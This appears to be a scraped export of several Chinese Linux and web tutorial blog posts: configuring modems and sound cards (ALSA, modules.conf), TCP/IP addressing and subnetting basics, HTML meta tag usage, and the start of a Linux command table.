外置Modem\n在配置外置Modem时，因为大部分的Modem都是通过串口连接到计算机上的，所以在配置Modem之前，您必须插入串口驱动模块serial.o。在成功插入串口通讯模块之后，这时只要将设备/dev/modem连接到相应的串口设备上就可以了。例如，在/dev/ttyS0（对应Windows下的 COM1）上连接了Modem，则建立连接： ln -sf /dev/ttyS0 /dev/modem 在这之后，外置的串口modem就可以正常工作了。您可以通过使用minicom向串口发送AT命令，来检测和配置modem的工作方式。经常使用的命令：\n表 4-1\nAT命令 命令描述 ATDT（ATDP） 使用语音（脉冲）进行拨号 ATZ 复位调制解调器 ATH 挂起电话 ATI0 返回调制解调器的状态 ATI1 执行ROM校验和检查并返回值 ATI2 验证ROM校验，返回OK或ERROR ATI3 返回ROM部件的软件版本号。 ATI4 查询调制解调器的状态信息，包括波特率、奇偶校验位长度，字长度、拨号方式、寄存器状态等信息。 ATI5 查询调制解调器的ram中的状态信息。 ATI6 查询调制解调器的链路状态信息，包括已传送（接收、丢失）的字符数、传送的数据块数目、链路连接状态、最后一次拨号时间等。 ATI7 获得配置的序言文件，此文件描述的信息包括：modem支持的通讯协议，Fax版本号，EPROM的版本号。 ATI8 获得连接时间 ATI9 获得调制解调器的描述名称 例如，对于一款联想射雕外置式Modem，在启动minicom之后，输入ATI9的返回值为： (1.0AKY1010\\ModemAKY101056K DATA FAX VOICE MODEM)FF 4.2 内置的Linmodem\nLinmodem 是winmodem的Linux实现。关于Linmodem的进一步信息您可以访问www.linmodems.org。现在的Linmodem一般都是 PCI类型的，您也可以通过PCI检测过程，获得设备设备描述信息。在获得描述信息之后，您可以比较一下您的Modem是否属于下面列出的Modem类型。现在支持的Linmodem包括：\nConexant/Rockwell HSF 它的驱动程序在 http://www.olitec.com/pci56kv2.html或http://linmodems.org。 Ambient Technology (formerly Cirrus Logic) 驱动程序在 http://linmodems.org/CLModem-0.3.0.tar.gz。 Lucent LT http://linmodems.org/linux568.zip ESS ES56T-PI (PCI) and ES56V-I (ISA)的二进制驱动程序： ISA: ftp://ftp.esstech.com/pub/modem/isa/unsupported/56v-i/linux/kernel61/linux111.zip。 PCI: ftp://ftp.esstech.com/pub/modem/pci/unsupported/56t-pi/linux/Kernel61/111.zip。 3Com Mini-PCI 无可用驱动程序。 Linmodem为了在某种程度上和外置调制解调器的编程接口一致，所以一般都要生成一个仿真的串口设备。为了生成这些设备文件，一般可以使用命令mknod。\nLucent LT: mknod /dev/ttyS14 c 62 78 PCTel: mknod /dev/ttyS15 c 62 79 Esscom: mknod /dev/esscom c 127 1。esscom用户希望连接/dev/ttyS14到/dev/esscom，以使得仅识别ttyS*的ppp拨号程序能正常使用。\nchgrp uucp /dev/ttyS14 chmod 666 /dev/ttyS14 可允许非根用户使用此服务拨号。 ln -s /dev/devicefile /dev/modem 您也可以使用setserial，修改串口配置，比如设置串口的波特率，同样也可以设置/etc/serial.conf设置串口的工作参数。 setserial -agv /dev/ttyS* 回页首 声卡配置过程\n5.1 内核声卡驱动程序的配置\n现在正在使用的声卡主要有PCI和ISA两种。在Linux系统下，对这两种类型声卡的配置过程实际上是生成配置文件/etc/modules.conf，建立正确的设备别名和声卡设备驱动程序的对应关系。在正确的设置驱动模块之后，使用混音器程序设置声卡的输出音量。\n若您的声卡是ISA PnP类型的，那么如果这块声卡在dos（windows）系统下也工作良好，那么您可以先记住声卡的工作参数，包括IRQ、DMA和I/O。一般而言，在Linux系统下应该使用和DOS下一样的参数。\n如果您不知道它的工作参数，您可以通过/proc/isapnp获得声卡的配置空间，它包括dma、ioport和irq等信息。然后您可以通过检查 /proc/interrupts，/proc/ioports和/proc/dma文件获知系统中空闲的irq、ioports和dma等信息，由此您可以选择合适的声卡配置参数。\n在2.4.x内核中，实现了ISA PnP支持，同时一部分声卡驱动程序现在也支持无需使用isapnp工具完成自动检测和配置了。关于声卡设备的详细信息您也可以查看内核文档/usr/src/linux/Documentation/sound/中的文件。\n对于PCI声卡而言，它们的驱动程序包含了自动检测过程，所以您只需要插入正确的驱动模块，声卡一般就能正常工作了。\n在声卡模块被第一次引用时，内核会要求加载相应的驱动模块。与声卡模块对应的设备别名是sound-slot-0（0表示系统中的一个声卡，以此类推）。例如，在/etc/modules.conf中加入： alias sound-slot-0 esssolo1 就配置了ESS Solo-1声卡。这条语句表示在需要声卡时，自动加载模块esssolo1。 有时加载了sound-slot-0对应的设备模块之后，并不能使声卡的所有功能生效。这时设备就会请求访问sound-service-0-n别名。n代表了不同的设备：\n表 5-1\n编号 对应的设备 0 混音器（Mixer） 2 MIDI 3，4 DSP 这时就要求您设置正确的声卡服务模块别名，这样声卡才能够正常工作。声卡对应的设备文件：\n表 5-2\n设备文件名 设备描述 /dev/audio 正常连接到/dev/audio0 /dev/audio0 sun工作站兼容的声音设备（仅部分实现，不支持sun ioctl接口，仅支持u-law编码） /dev/audio1 第二个声音设备（安装多个声卡时使用） /dev/dsp 正常连接到/dev/dsp0 /dev/dsp0 第一个数字采样设备 /dev/dsp1 第二个数字采样设备 /dev/mixer 正常连接到/dev/mixer0 /dev/mixer0 第一个声音混音器 /dev/mixer1 第二个声音混音器 /dev/music 高级序列化接口 /dev/sequencer 底层MIDI，FM和GUS存取 /dev/sequencer2 正常连接到/dev/music /dev/midi00 第一个原MIDI端口 /dev/midi01 第二个原MIDI端口 /dev/midi02 第三个原MIDI端口 /dev/midi03 第四个原MIDI端口 /dev/sndstat 显示声音驱动程序的状态 pc扬声器提供下列设备：\n/dev/pcaudio 等价于/dev/audio\n/dev/pcsp 等价于/dev/dsp\n/dev/pcmixer 等价于/dev/mixer\n您可以直接将声音文件送入对应的设备，比如，将.au声音文件通过将其送入/dev/audio中播放，原始采样也可被送入/dev/dsp。 cat sample.su \u0026gt; /dev/audio 但是这样做一般效果较差，播放时应采用play命令。对于wavplay和vplay（snd-util包）会以最好的效果播放wav文件，但是它们不能识别微软adpcm压缩的wav文件。若手动设置争取正确的参数之后，splay用于播放大多数声音文件。\n读/dev/audio和/dev/dsp返回的采样数据可以重定向到一个文件。vrec可以使这个过程更容易。可能需要一个混音器程序选择适当的输入设备。\n5.2 ALSA声卡驱动程序的配置\n对于声卡驱动程序，除了内核自带的驱动程序之外，您还可以使用Advanced Linux Sound Architecture（ALSA，http://www.alsa-project.org/）提供的驱动程序。它支持一系列主流声卡，同时它和内核的声音结构互相兼容，在某种程度上，可以说是内核的声卡驱动模块的补充。\nALSA的声卡驱动程序的一般命名规则是snd-card-\u0026lt;soundcard\u0026gt;。soundcard代表不同类型的声卡。例如，对于所有的16位Soundblaster声卡，它们对应的驱动程序模块为snd-card-sb16。\n若与需要linux内核声音驱动的向后兼容性，您还需要两个模块snd-pcm-oss和snd-mixer-oss。对于amixer设置的多个混音器，它们都是针对不同的设备的。比如CD通道的设置是针对CD播放器的。而很多应用程序，如象mpg123，xmms，realplayer，都要依赖 PCM通道的设置。MIC代表麦克风。不同的Gain部分对于不同的使用能提供特别的增益。\n缺省情况下ALSA静音所有的输出。为了获得声音，必须解除主音量和PCM音量的静音。 amixer -c 0 sset 'Master',0 100%,100% unmute\namixer -c 0 sset 'PCM ',0 100% unmute 选项包括mute，unmute，capture，nocapture，rec，norec，数字或left:right。amixer不带参数运行时，返回声卡上所有通道的设置情况。\n为了在每次插入声卡驱动模块时，都打开静音，您可以在/etc/modules.conf加入下列语句： post-install snd-card-sb16 amixer -c 0 sset 'Master',0 100%,100% unmute \u0026amp;\u0026amp; amixer -c 0 sset 'PCM ',0 100% unmute 在成功插入了alsa声卡模块之后，系统会出现/proc/asound目录，这个目录描述了声卡的工作情况，以及创建的设备文件。\n在您加载snd-pcm-oss设备模块之后，你也能使用与oss兼容的方式存取声卡，这时如下的映射会被完成：\n表 5-3\nALSA设备 OSS设备 次设备号 /dev/snd/pcmC0D0 /dev/audio0（/dev/audio） 4 /dev/snd/pcmC0D0 /dev/dsp0（/dev/dsp） 3 /dev/snd/pcmC0D1 /dev/adsp（/dev/adsp） 12 /dev/snd/pcmC1D0 /dev/audio1 20 /dev/snd/pcmC1D0 /dev/dsp1 19 /dev/snd/pcmC1D1 /dev/adsp1 28 /dev/snd/pcmC2D0 /dev/audio2 36 /dev/snd/pcmC2D0 /dev/dsp2 35 /dev/snd/pcmC2D1 /dev/adsp2 44 对于/dev/mixer设备，要加载snd-mixer-oss，可以保证和老的oss混音器的兼容性。如果您插入了上述设备之后，声音系统仍无法正常工作，您可以运行snddevices命令，建立正确的设备文件。\n由于为使ALSA正常工作，需要设置大量的设备别名，下面就给出一个/etc/modules.conf的例子，它能够完成ESS Solo1声卡的自动配置工作。其他的ALSA设备的设置也基本与此声卡相同。\n# 设置ALSA设备的主设备号，它固定为116 alias char-major-116 snd # 设置OSS设备的主设备号，它固定为14，这使得ALSA复用OSS设备 alias char-major-14 soundcore # ALSA设备别名 alias sound-card-0 snd-card-es1938 # OSS设备别名 alias sound-slot-0 sound-card-0 # 安装不同的声卡服务 alias sound-service-0-0 snd-mixer-oss\nalias sound-service-0-1 snd-seq-oss\nalias sound-service-0-3 snd-pcm-oss\nalias sound-service-0-8 snd-seq-oss\nalias snd-minor-oss-12 snd-pcm-oss # 运行amixer命令，打开声音输出 post-install snd-card-es1938 amixer -c 0 sset 'Master',0 100%,100% unmute \u0026amp;\u0026amp; amixer -c 0 sset 'PCM ',0 100% unmute （ 待续） 关于作者\n于辰涛，联想（北京）电脑公司软件工程师。目前主要从事Linux系统安装程序的开发工作，主要研究兴趣是操作系统的工作机制和开发底层系统程序。您可以通过电子邮件 scu_yct@263.net 跟他联系。 ","permalink":"https://hessian.cn/p/624.html","summary":"级别: 初级\n于辰涛 (scu_yct@263.net), 软件工程师, 联想（北京）电脑公司 2001 年 8 月 01 日\n本文是 《如何在Linux下实现硬件的自动检测》的姊妹篇。将为您介绍在进行了设备检测，通过设备信息文件获得了设备对应的驱动程序，工作参数等信息后，如何对于几种最常见的设备进行配置、生成正确的配置脚本，以使设备正常工作。 Linux下设备的配置过程是指在检测到设备类型、设备当前工作参数等信息之后，使用这些信息来配置设备的驱动程序，工作方式等，（设备的检测过程参见 《如何在Linux下实现硬件的自动检测》）。要完成这样的任务，需要做两方面的工作： ","title":"如何在Linux下实现设备的配置（上）"},{"content":"作者：北南南北\n来自：LinuxSir.Org\n赞助： pandonny、etony、Linuxfish \u0026#8230;\u0026#8230;..\n简介：本文简要的讲了讲TCP/IP的一点基础，包括TCP/IP网络模型；网络分类及切割，以及服务和端口等基础知识；需要声明的是，我并不懂TCP/IP的原理，我只是写一点比较表面的东西。\n此文正在修正中，希望高手指点和补充。谢谢～\n目录\n1、TCP/IP 概述； 1.1 什么是IP、ARP、ICMP、UDP；\n1.2 TCP/IP 网络模型； 2、IP地址、网络类型、网络切割； 2.1 IP 地址概说；\n2.2 网络分类； 2.21 A类网络：\n2.22 B类网络：\n2.23 C类网络：\n2.24 保留地址；\n2.3 网络切割； 3、 路由和网关； 3.1 路由，此网和彼网沟通的纽带；\n3.2 网关； 4 、服务和端口；\n5、套接字接口；\n6、关于本文；\n7、致谢；\n8、更新日志；\n9、参考文档；\n10、相关文档； ++++++++++++++++++++++++++++++++++++++++++++++++++++\n正文\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n1、TCP/IP 概述；\nTCP/IP 实际上并不是一个协议，而是一组协议，它包括IP、TCP、UDP、ICMP、ARP等；\n1.1 什么是IP、ARP、ICMP、UDP；\nIP （Internet Protocol），网际协议；IP是TCP/IP 的最底层，高层协议都要转化为IP包，IP包含了源地址和目的地址，路由决策也发生在IP层；\nARP （Address Resolution Protocol） ，地址解析协方，把IP地址转换为硬件物理地址，比如我们所用的网卡的物理地址，类似aa:bb:cc:dd:ee:ff。\nARP Short for Address Resolution Protocol, a network layer protocol used to convert an IP address into a physical address (called a DLC address), such as an Ethernet address. A host wishing to obtain a physical address broadcasts an ARP request onto the TCP/IP network. The host on the network that has the IP address in the request then replies with its physical hardware address.\nThere is also Reverse ARP (RARP) which can be used by a host to discover its IP address. In this case, the host broadcasts its physical address and a RARP server replies with the host\u0026#8217;s IP address. ICMP （Internet Control Message Protocol），网际报文协议；它包括了数据包的错误、控制等相关信息。比如ping 命令就是利用ICMP来测试一个网络的连接情况的工具；\nShort for Internet Control Message Protocol, an extension to the Internet Protocol (IP) defined by RFC 792. ICMP supports packets containing error, control, and informational messages. The PING command, for example, uses ICMP to test an Internet connection\nTCP （Transmission Control Protocol），传输控制协议。TCP运行在IP之上，是基于数据流连接和面向的协议，应用程序把数据要经过TCP/IP的分割成若干包，这样数据就以字节流发送和接收，到达目的地后，TCP/IP 再按顺序进行组装。TCP/IP 要保证机器与机器之间的连接的可靠性，还要有纠错。TCP是否被选择，取决于应用程序或服务；\nTCP is one of the main protocols in TCP/IP networks. Whereas the IP protocol deals only with packets, TCP enables two hosts to establish a connection and exchange streams of data. TCP guarantees delivery of data and also guarantees that packets will be delivered in the same order in which they were sent.\nUDP （User Datagram Protocol） ，用户数据报协议 ，象TCP一样运行在IP之上，是基于数据报或分组的协议，UDP/IP 可以直接发送和接收数据报文，而不必做验证，这一点与TCP/IP 不同。TCP是否被选择，取决于应用程序或服务；\nAbbreviated UDP, a connectionless protocol that, like TCP, runs on top of IP networks. Unlike TCP/IP, UDP/IP provides very few error recovery services, offering instead a direct way to send and receive datagrams over an IP network. It\u0026#8217;s used primarily for broadcasting messages over a network.\n1.2 TCP/IP 网络模型；\nTCP/IP 的网络模型是如图所示；\n2、IP地址、网络类型、网络切割；\nTCP/IP 网络的每台计算机都至少有一个（一个计算机有多个网卡是存在的）合法的IP地址，IP地址把此计算机和网络的其它计算机区别开来。由于IP地址分为两部份，一部份代表网络，另一部份代表主机。如果想把一个网络和另一个网络区分开来，就涉及到网络切割。\n2.1 IP 地址概说；\nIP地址是标识主机在网络中的位置，象是一个门牌号一样。所有IP都经过 Internet Assigned Numbers Authority (IANA)分配。IP地址是由四个字节组成，格式 为A:B:C:D，比如 192.168.1.1 。LinuxSir.Org 的IP是多少？ping LinuxSir.Org 就知道了。\nIP都经过 Internet Assigned Numbers Authority (IANA)分配。一般的情况下，IANA只和各国政府机构、学会、ISP、或IDC公司交涉。咱们用的IP地址，都是IDC或ISP提供的。比如 LinuxSir.Org 的地址是由网通提供的。我用的ADSL，是铁通提供的。\nIP 地址是由四个字节组成，格式 A.B.C.D，每个字节又是由8位二进制数字组成，也就是这样的格式 xxxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx 。在A:B:C:D中，前1到3位，可以用来识别网络，其余部份就用来表示网络上的主机。\nA . B . C . D xxxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx\n地址中哪几位用来识别网络，哪几位用来识别主机，是通过网络掩码来实现的。网络掩码也是一个四字节的数，如果换算成二进制的数字，对应网络部份为1，而主机部份为0。\n比如掩码为 255.255.255.0 ，换算成二进制就是 11111111.11111111.11111111.11111111.00000000 。\nA . B . C . D\n255 . 255 . 255 . 0 11111111.11111111.11111111.00000000\n|-----网络部份----|主机部份|\n这表示的意思是网络中的所有主机的IP地址的前三位必须是相同的，也就是A.B.C是相同的，最后一位是主机位，主机位的不同，就把网络中的计算机区分开来。比如 192.168.1.1 和192.168.1.2 是不同的主机。\n在 255.255.255.0 这个网络中，从理论上来说，应该有256台主机，但事实上却不是这样。\n网络地址和广播地址：\n每个网络都有一个网络地址和广播地址，网络地址是把此网区别于彼网的标识，主机部份为0，(二进制），而广播地址的主机部份全为1。\n比如192.168.1.0/24的网络。按理论来说，IP地址应该从192.168.1.0到192.168.1.255 ，网络最多有主机数应该有256台，但因为网络地址占用了192.168.1.0，广播地址占用了 192.168.1.255 ，所以在192.168.1.0/24的网络中，最多只能容纳254台机器。\nAddress: 192.168.1.0 11000000.10101000.00000001 .00000000\nNetmask: 255.255.255.0 = 24 11111111.11111111.11111111 .00000000\nWildcard: 0.0.0.255 00000000.00000000.00000000 .11111111\n=\u0026gt;\nNetwork: 192.168.1.0/24 11000000.10101000.00000001 .00000000 (Class C)\nBroadcast: 192.168.1.255 11000000.10101000.00000001 .11111111\nHostMin: 192.168.1.1 11000000.10101000.00000001 .00000001\nHostMax: 192.168.1.254 11000000.10101000.00000001 .11111110\nHosts/Net: 254 (Private Internet RFC 1918)\n2.2 网络分类；\nIANA把网络进行分类，分类如下：\n2.21 A类网络：\nA类网络部份为8位（二进制），主机部份为24位（二进制）。\nA . B . C . D\nxxxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx\n|\u0026gt;网络部份\u0026lt;|----\u0026gt;主机部份\u0026lt;--------------|\n地址的第一个字节，范围从1到127 ；比如 IP地址 126.1.12.0 就归属于A类网络的地址。\n2.22 B类网络：\nB类网络部份为16位（二进制），主机部份为16位（二进制）。\nA . B . C . D xxxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx\n|----\u0026gt;网络部份\u0026lt;-----|-----主机部份\u0026lt;-----|\n地址的第一个字节，范围是128－191 ；比如 IP地址 129.13.1.0 就归属于B类网络。\n2.23 C类网络：\nC类网络部份为24位（二进制），主机部份为8位（二进制）。\nA . B . C . D xxxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx\n|----------网络部份---------| -主机部份 -|\n地址的第一个字节，范围是192－223；比如 IP地址193.1.21.0 就归属于C类网络。\n为了简单一点，我们用表格列出：\nIP地址的第一个字节 归属网络\n1－127 A类\n128－191 B类\n192－223 C类\n2.24 保留地址；\n为了保证一些网络能有永远不能接上Internet 上（或通过NAT才能接到Internet），这些地址用于私有网络，比如我们所用的本地网地址 192.168.1.0/24网络就是。下面的一些网络地址是私有的，只能通过NAT转换为公网地址才能访问Internet 。\n地址范围 网络类\n10.0.0.0－10.255.255.255 A类\n172.16.0.0－172.31.255.255 B类\n192.168.0.0－192.168.255.255 C类\n127.0.0.1－127.255.255.255 回环地址\n其中回地址表示数据包的发送和接收都在同一台主机，如果想让一个程序只能在本机上运行，就用这个地址。回环地址一般是用127.0.0.1 。在Linux中，用ifconfig lo就能看到了。\n2.3 网络切割；\n大型网络可以划分为几个小的网络，这些小的网络被称为子网。划分大型网络地址块为一些小的子网，可以从主机部份进行切分，这样就能形成一个一个的子网。子网掩码可以用来构建超网，例如：192.168.1.2 掩码： 255.255.254.0，也可写成192.168.0.0/23，23代表子网掩码中连续\u0026ldquo;1\u0026rdquo;的个数。还可以进行子网划分，例如： 192.168.1.130 掩码： 255.255.255.240，也可写成192.168.1.130/28网络，即：网络ID为192.168.1.128，主机ID为2。\n切割网络还要知道十进制到二进制的相互换算，这是比较麻烦的。用笔来算是有点难为人。不过我们可以用一个脚本工具来算。\n网络切割脚本下载 ，请点击： 网络切割计算器\n下载后要解压；\n#tar zxvf ipcalclinuxsir.pl.tar.gz\n# chmod 755 ipcalc.pl\n# ./ipcalc.pl 可以指定单个IP和掩码来判断网络，比如：\n[root@localhost ~]# ./ipcalc.pl 192.168.1.4/255.255.255.0\nAddress: 192.168.1.4 11000000.10101000.00000001 .00000100\nNetmask: 255.255.255.0 = 24 11111111.11111111.11111111 .00000000\nWildcard: 0.0.0.255 00000000.00000000.00000000 .11111111\n=\u0026gt;\nNetwork: 192.168.1.0/24 11000000.10101000.00000001 .00000000 (Class C)\nBroadcast: 192.168.1.255 11000000.10101000.00000001 .11111111\nHostMin: 192.168.1.1 11000000.10101000.00000001 .00000001\nHostMax: 192.168.1.254 11000000.10101000.00000001 .11111110\nHosts/Net: 254 (Private Internet RFC 1918)\n值得注意的是：同一个IP地址，由于掩码不同，此IP地址可能属于不同的网络。所以掩码的设置对于主机来说十分重要。\nIP地址：192.168.1.2 掩码： 255.255.254.0，属于192.168.0.0/23网络；\nAddress: 192.168.1.2 11000000.10101000.0000000 1.00000010\nNetmask: 255.255.254.0 = 23 11111111.11111111.1111111 0.00000000\nWildcard: 0.0.1.255 00000000.00000000.0000000 1.11111111\n=\u0026gt;\nNetwork: 192.168.0.0/23 11000000.10101000.0000000 0.00000000 (Class C)\nBroadcast: 192.168.1.255 11000000.10101000.0000000 1.11111111\nHostMin: 192.168.0.1 11000000.10101000.0000000 0.00000001\nHostMax: 192.168.1.254 11000000.10101000.0000000 1.11111110\nHosts/Net: 510 (Private Internet RFC 1918)\nIP地址：192.168.1.2 掩码： 255.255.255.0，属于192.168.1.0/24网络；\nAddress: 192.168.1.2 11000000.10101000.00000001 .00000010\nNetmask: 255.255.255.0 = 24 11111111.11111111.11111111 .00000000\nWildcard: 0.0.0.255 00000000.00000000.00000000 .11111111\n=\u0026gt;\nNetwork: 192.168.1.0/24 11000000.10101000.00000001 .00000000 (Class C)\nBroadcast: 192.168.1.255 11000000.10101000.00000001 .11111111\nHostMin: 192.168.1.1 11000000.10101000.00000001 .00000001\nHostMax: 192.168.1.254 11000000.10101000.00000001 .11111110\nHosts/Net: 254 (Private Internet RFC 1918)\n3、 路由和网关；\n3.1 路由，此网和彼网沟通的纽带；\n在同一个网段之间（网络ID相同），主机可以互相通讯，比如同一网段的主机相互沟通不需要路由，比如 192.168.1.2和192.168.1.3之间的沟通就不需要路由。如果两个不同的网络（网络ID不同）需要通讯，比如 192.168.1.0/24网络的主机和192.168.2.0/24内的主机相互沟通，那么需要路由器（或者网关）来指明数据包的\u0026ldquo;传输路径\u0026rdquo;来实现这一目的。\n常用的做法是用一台多穴主机来作网关（多个网络接口，分别连着外网与内网），使得内网计算机通过网关访问Internet。在linux里面一般用 iptables做NAT（网络地址转换）来实现网关功能，如果充当网关的机器有一个固定IP，我们可以使用SNAT（源网络地址转换）；如果充当网关的机器是拨号上网，也就是IP不固定，那么一般我们用MASQUERADE，它可以动态的识别网关的地址。当然，固定ip也是可以用MASQUERADE 的，但是系统资源要耗费大一些。\n比如LinuxSir.Org 服务器托管在IDC机房中，机房要为我们提供IP地址、掩码、网关。\n在Linux 中，查看本地机的路由是通过route命令来实现的，比如：\n[root@localhost ~]# route\nKernel IP routing table\nDestination Gateway Genmask Flags Metric Ref Use Iface\n192.168.1.0 * 255.255.255.0 U 0 0 0 eth0\n169.254.0.0 * 255.255.0.0 U 0 0 0 eth0\ndefault 192.168.1.1 0.0.0.0 UG 0 0 0 eth0 此主机的默认路由就是192.168.1.1 ，至于更多的配置路由的细节，我们将在以后的章节加以讨论。\n网关；\n4 、服务和端口；\n在一台计算机运行的操作系统，如果这台计算机是连接在网络中的，它一定得有一个IP地址。在网络上使用 ip 来标示一个点，也可以理解为标示一台主机。如果您的计算机分配了两个ip 比如你启用了两块网卡，在网络上就认为这是不同的两个主机。在这台计算机上可能运行着很多的服务。\n端口则是用来标示特定主机的特定服务，比如linuxsir的 www 服务要用 ip:80 来标示。\n比如 LinuxSir.Org 的服务器上有FTP、SSH、WWW、IRC等服务，这些服务都用的是一个IP地址。为了能把这些服务运行起来，我们指定了WWW服务器用的是80端口。FTP服务器用的是 21端口等。这块好象不难理解。\n查看Linux服务和端口的字典文件位于 /etc/services ，它 是一个字典文件， 并不用来分配端口。其内容有如下类似的：\nftp 20/tcp 注：传输命令\nftp 21/tcp 注：传输数据\nssh 22/tcp\ntelnet 23/tcp 有些服务一般是采用默认端口，比如 ftp服务器默认端口是21，ssh服务器端认端口是22，telnet默认端口是23 。当然您可以改变服务的默认端口，以增强系统的安全性；我们在以后的教程中，会涉及到此方面的内容。\n5、套接字接口；\n套接字接口是进程之间相互通信的网络连接接口。\n6、关于本文；\n这一节主要讲的是TCP/IP的基础知识，我写这些内容实在是眼高手低。在写的过程中向Pandonny、etoy 、Linuxfish等弟兄请教，才勉强把初稿写出来。至于是不是对的，我不敢说，还是请高手指点吧。有的地方的确需要补充，但又不知道如何下手。\n本来五十米的竞赛中，我最快能跑到6.7秒，但现在要求自己跑到6秒，实在是超出我的能力。所以这也是最痛苦的一篇文档。再一次请教求高手指教。\n如果说哪有现成的文档，就近抄来，我看没有必要了。现成的文档是多，但做为这个系列文档，我还是希望能出在LinuxSir.Org 上，用最简单的话把比较深奥的理念条理化、清晰化。对于一般用户来说，只要了解一点基础就够了，没有必要知道TCP/IP的所有东西。\n还是那句话，学为所用，用为所学。洋为中用，旧文今用，但得更造一下。\n谢谢；\n7、致谢；\n本文得到了pandonny、etoy、Linuxfish 等三位弟兄的帮助，在此致谢；\n","permalink":"https://hessian.cn/p/392.html","summary":"作者：北南南北\n来自：LinuxSir.Org\n赞助： pandonny、etony、Linuxfish \u0026#8230;\u0026#8230;..\n简介：本文简要的讲了讲TCP/IP的一点基础，包括TCP/IP网络模型；网络分类及切割，以及服务和端口等基础知识；需要声明的是，我并不懂TCP/IP的原理，我只是写一点比较表面的东西。\n","title":"[转]TCP/IP 网络基础(v 0.2b)"},{"content":"meta是用来在HTML文档中模拟HTTP协议的响应头报文。meta 标签用于网页的\u0026lt;head\u0026gt;与\u0026lt;/head\u0026gt;中， meta 标签的用处很多。meta 的属性有两种：name和http-equiv。name属性主要用于描述网页，对应于content（网页内容），以便于搜索引擎机器人查找、分类（目前几乎所有的搜索引擎都使用网上机器人自动查找meta值来给网页分类）。这其中最重要的是 description（站点在搜索引擎上的描述）和keywords（分类关键词），所以应该给每页加一个meta值。比较常用的有以下几个： name 属性 1、\u0026lt;meta name=\u0026quot;Generator\u0026quot; contect=\u0026quot;\u0026quot;\u0026gt;用以说明生成工具（如Microsoft FrontPage 4.0）等； 2、\u0026lt;meta name=\u0026quot;KEYWords\u0026quot; contect=\u0026quot;\u0026quot;\u0026gt;向搜索引擎说明你的网页的关键词； 3、\u0026lt;meta name=\u0026quot;DEscription\u0026quot; contect=\u0026quot;\u0026quot;\u0026gt;告诉搜索引擎你的站点的主要内容； 4、\u0026lt;meta name=\u0026quot;Author\u0026quot; contect=\u0026quot;你的姓名\u0026quot;\u0026gt;告诉搜索引擎你的站点的制作的作者； 5、\u0026lt;meta name=\u0026quot;Robots\u0026quot; contect= \u0026quot;all|none|index|noindex|follow|nofollow\u0026quot;\u0026gt; 其中的属性说明如下： 设定为all：文件将被检索，且页面上的链接可以被查询； 设定为none：文件将不被检索，且页面上的链接不可以被查询； 设定为index：文件将被检索； 设定为follow：页面上的链接可以被查询； 设定为noindex：文件将不被检索，但页面上的链接可以被查询； 设定为nofollow：文件将不被检索，页面上的链接可以被查询。 http-equiv属性 1、\u0026lt;meta http-equiv=\u0026quot;Content-Type\u0026quot; contect=\u0026quot;text/html\u0026quot;;charset=gb_2312-80\u0026quot;\u0026gt; 和 \u0026lt;meta http-equiv=\u0026quot;Content-Language\u0026quot; contect=\u0026quot;zh-CN\u0026quot;\u0026gt;用以说明主页制作所使用的文字以及语言； 又如英文是ISO-8859-1字符集，还有BIG5、utf-8、shift-Jis、Euc、Koi8-2等字符集； 2、\u0026lt;meta http-equiv=\u0026quot;Refresh\u0026quot; contect=\u0026quot;n;url=http://yourlink\u0026quot;\u0026gt;定时让网页在指定的时间n内，跳转到页面http://yourlink； 3、\u0026lt;meta http-equiv=\u0026quot;Expires\u0026quot; contect=\u0026quot;Mon,12 May 2001 00:20:00 GMT\u0026quot;\u0026gt;可以用于设定网页的到期时间，一旦过期则必须到服务器上重新调用。需要注意的是必须使用GMT时间格式； 4、\u0026lt;meta http-equiv=\u0026quot;Pragma\u0026quot; contect=\u0026quot;no-cache\u0026quot;\u0026gt;是用于设定禁止浏览器从本地机的缓存中调阅页面内容，设定后一旦离开网页就无法从Cache中再调出； 5、\u0026lt;meta http-equiv=\u0026quot;set-cookie\u0026quot; contect=\u0026quot;Mon,12 May 2001 00:20:00 GMT\u0026quot;\u0026gt;cookie设定，如果网页过期，存盘的cookie将被删除。需要注意的也是必须使用GMT时间格式； 6、\u0026lt;meta http-equiv=\u0026quot;Pics-label\u0026quot; contect=\u0026quot;\u0026quot;\u0026gt;网页等级评定，在IE的internet选项中有一项内容设置，可以防止浏览一些受限制的网站，而网站的限制级别就是通过meta属性来设置的； 7、\u0026lt;meta http-equiv=\u0026quot;windows-Target\u0026quot; contect=\u0026quot;_top\u0026quot;\u0026gt;强制页面在当前窗口中以独立页面显示，可以防止自己的网页被别人当作一个frame页调用； 8、\u0026lt;meta http-equiv=\u0026quot;Page-Enter\u0026quot; contect=\u0026quot;revealTrans(duration=10,transtion= 50)\u0026quot;\u0026gt;和\u0026lt;meta http-equiv=\u0026quot;Page-Exit\u0026quot; contect=\u0026quot;revealTrans(duration=20，transtion=6)\u0026quot;\u0026gt;设定进入和离开页面时的特殊效果，这个功能即 FrontPage中的\u0026ldquo;格式/网页过渡\u0026rdquo;，不过所加的页面不能够是一个frame页面。 以上是常用的几个meta属性，有个人主页的朋友不妨在你的主页中加上它，效果可是不一样的哦：）。\n","permalink":"https://hessian.cn/p/574.html","summary":"meta是用来在HTML文档中模拟HTTP协议的响应头报文。meta 标签用于网页的\u0026lt;head\u0026gt;与\u0026lt;/head\u0026gt;中， meta 标签的用处很多。meta 的属性有两种：name和http-equiv。name属性主要用于描述网页，对应于content（网页内容），以便于搜索引擎机器人查找、分类（目前几乎所有的搜索引擎都使用网上机器人自动查找meta值来给网页分类）。这其中最重要的是 description（站点在搜索引擎上的描述）和keywords（分类关键词），所以应该给每页加一个meta值。比较常用的有以下几个： ","title":"关于meta标签的使用"},{"content":"NO 分类 PS1 命令名 用法及参数 功能注解 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 1 文件管理 # ls ls -a 列出当前目录下的所有文件，包括以.头的隐含文件 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # ls ls -l或ll 列出当前目录下文件的详细信息 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # pwd pwd 查看当前所在目录的绝对路经 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # cd cd .. 回当前目录的上一级目录 \u0026nbsp;\u0026nbsp; 